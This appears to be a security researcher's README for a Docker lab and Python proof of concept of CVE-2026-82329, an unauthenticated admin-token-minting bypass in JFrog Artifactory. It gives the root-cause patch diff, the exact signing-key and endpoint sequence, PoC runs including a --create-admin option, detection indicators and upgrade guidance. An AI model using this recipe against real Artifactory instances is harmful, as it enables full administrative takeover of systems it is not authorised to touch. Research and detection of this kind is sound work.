Reproducible Docker lab and Python PoC for CVE-2026-82329, an unauthenticated auth-bypass in JFrog Artifactory leading to admin takeover, with patch-diff analysis and detection guidance.
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · disclosed 2026-08-28 · exploited in the wild.
An unauthenticated, network-adjacent attacker mints a platform administrator access token against a default self-hosted JFrog Artifactory. This directory contains a reproducible Docker lab and a URL-parameterised validator PoC.
Reproduced and A/B-verified on artifactory-oss 7.161.19 (vulnerable, JFrog Access 7.191.11)
vs 7.161.20 (patched, JFrog Access 7.191.14).
Root cause was derived from the vendor patch itself (bytecode diff of the closed-source JFrog Access service between the two container images), then proven live — not taken from any third-party write-up.
getSigningKey("") = pkcs7(<empty>, 32) = 32 bytes of — a fully
known secret. So anyone can sign a valid join JWT (, , fresh ,
any , ).0x20alg=HS256kid = SHA256("")iatservice_idskip_node_registration=truePOST /access/api/v1/registry/join (RegistryNoAuthResource — no authentication) →
HTTP 201, returns a SERVICE token with scope admin (audience = Access).POST /access/api/v1/tokens with that token, scope=applied-permissions/admin&audience=*
→ a full admin platform access token (this is the "minting admin tokens" behaviour reported
in the wild).$ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
[+] Step 1 /registry/join -> HTTP 201 SERVICE token minted (scp=admin)
[+] Step 2 /access/api/v1/tokens -> HTTP 200 ADMIN token (scp=applied-permissions/admin, aud=*)
[+] Step 3 proof of admin capability:
GET /artifactory/api/system/configuration -> HTTP 200 (18284 bytes, admin-only; unauth=401)
GET /access/api/v1/tokens (list ALL tokens) -> HTTP 200 (admin-only)
[=] VULNERABLE - unauthenticated attacker obtained ADMIN on this instance (CVE-2026-82329).
JFrog Access 7.191.11 → 7.191.14 changed exactly 12 classes. The security-relevant ones:
JoinKeyAccess.tryResolveJoinKeys()// VULNERABLE (7.191.11)
Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey); // jKey == "" allowed
joinKeyListValuesForContext.put(hashPair.getHash(), hashPair); // blank key added to trusted set
log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
});
// PATCHED (7.191.14) -> blank entries filtered out
Arrays.stream(joinKey.get().split(",")).map(String::trim)
.filter(Strings::isNotBlank)
.forEach(...);
With no additional join keys configured (the default), the config value is "";
"".split(",") yields [""], so a blank JoinKeyHashPair (kid = SHA256("") =
e3b0c442…b855) enters the trusted "additional join keys" map. JoinKeyHashPair was also
hardened to reject null/blank in the constructor.
Confirmed on the live default instance — server startup log:
o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
That kid is exactly SHA256("").
JoinKeyUtils.getSigningKey()public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
// pkcs7 padding of an EMPTY key: padLength = 32 -> 32 bytes, each == (byte)32 == 0x20
So the join JWT for the blank key is signed with HS256 over 32 bytes of 0x20 — attacker-known.
RegistryNoAuthResource (@Path("/v1/registry"), no @Authorized):
@POST @Path("join")
public Response join(String jwtStr) { // body = the raw JWT
JwtToken token = this.joinService.join(jwtStr, ...); // validates: fresh iat (<30s) + join-key signature
return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
}
JoinServiceImpl → ServiceTokenProviderImpl.getToken():
TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
.subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
A non-expiring, admin-scoped, RSA-signed access token. The scope("admin") service token is
then allowed to mint a full applied-permissions/admin user token via POST /access/api/v1/tokens.
ProjectResourceTwo endpoints moved @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN)
(GET/DELETE {projectKey}/resources), confirming the exploit primitive is a forged SERVICE
identity and that SERVICE-authorized surface was over-exposed.
Self-hosted only (cloud already patched). Vulnerable ≤ the last release in each branch below; upgrade to the paired fix:
| Branch | Vulnerable ≤ | Fixed |
|---|---|---|
| 7.111 | 7.111.20 | 7.111.21 |
| 7.117 | 7.117.27 | 7.117.28 |
| 7.125 | 7.125.19 | 7.125.20 |
| 7.133 | 7.133.28 | 7.133.29 |
| 7.146 | 7.146.37 | 7.146.38 |
| 7.161 | 7.161.19 | 7.161.20 |
The fix ships JFrog Access 7.191.14.
See lab/README.md. In short:
cd lab
ART_VER=7.161.19 docker compose up -d # vulnerable (default); wait ~3-4 min
until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> VULNERABLE
docker compose down
ART_VER=7.161.20 docker compose up -d # patched control
python3 ../poc/cve_2026_82329_poc.py http://localhost:8082 # -> NOT VULNERABLE (join HTTP 400)
Artifactory 7.161.x requires PostgreSQL (its Access service refuses the bundled Derby), so the lab includes a postgres sidecar.
python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1 # Pro/Ent state change
python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only # print an admin token
Point it at whatever front-ends the JFrog Router (/access/… reachable). It reports VULNERABLE
(admin obtained) or NOT VULNERABLE (join rejected). Only run against systems you are authorised
to test.
POST /access/api/v1/registry/join from non-cluster hosts, especially
followed immediately by POST /access/api/v1/tokens.Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 …
means the blank join key is trusted (present on unpatched defaults).scope=applied-permissions/admin,
audience=*, or service-subject admin tokens (sub=<svc>, scp=admin, aud=<access-id>).kid claim equals SHA256("") (e3b0c442…b855).Upgrade to the fixed version for your branch (table above). Additionally: front Artifactory behind a
reverse proxy that does not expose /access/api/v1/registry/** to untrusted networks, and rotate the
join key + revoke unexpected admin tokens after patching.
Artifacts in this directory: poc/ (validator), lab/ (Docker lab), analysis/ (patch diffs +
decompiled evidence), EVIDENCE.md (captured run output). For authorised security research only.